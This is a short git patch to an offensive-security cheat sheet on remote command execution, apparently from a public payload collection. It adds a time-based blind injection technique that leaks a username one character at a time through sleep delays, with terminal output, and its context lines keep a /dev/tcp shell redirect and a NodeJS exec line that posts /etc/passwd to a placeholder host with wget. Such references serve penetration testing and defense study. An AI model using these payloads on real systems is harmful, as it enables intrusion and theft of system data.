From 6b860c627e66a4d40f8b5387b6eec4378e99f277 Mon Sep 17 00:00:00 2001
From: Swissky <maxropelewski@gmail.com>
Date: Fri, 3 Mar 2017 21:41:00 +0100
Subject: [PATCH] RCE Time based : Data extraction

---
 Remote commands execution/README.md | 17 ++++++++++++++++-
 1 file changed, 16 insertions(+), 1 deletion(-)

diff --git a/Remote commands execution/README.md b/Remote commands execution/README.md
index a9b66e01..958bc56c 100644
--- a/Remote commands execution/README.md	
+++ b/Remote commands execution/README.md	
@@ -40,10 +40,25 @@ Linux crashlab 4.4.X-XX-generic #72-Ubuntu
 swissky@crashlab▸ ~ ▸ $ sh</dev/tcp/127.0.0.1/4242
 ```
 
+## Time based data exfiltration
+Extracting data : char by char
+```
+swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
+real	0m5.007s
+user	0m0.000s
+sys	0m0.000s
+
+swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi
+real	0m0.002s
+user	0m0.000s
+sys	0m0.000s
+```
+
+## Environment based 
 NodeJS Code execution
 ```
 require('child_process').exec('wget --post-data+"x=$(cat /etc/passwd)"+HOST')
 ```
 
 ## Thanks to
-* 
\ No newline at end of file
+* [SECURITY CAFÉ - Exploiting Timed Based RCE](https://securitycafe.ro/2017/02/28/time-based-data-exfiltration/)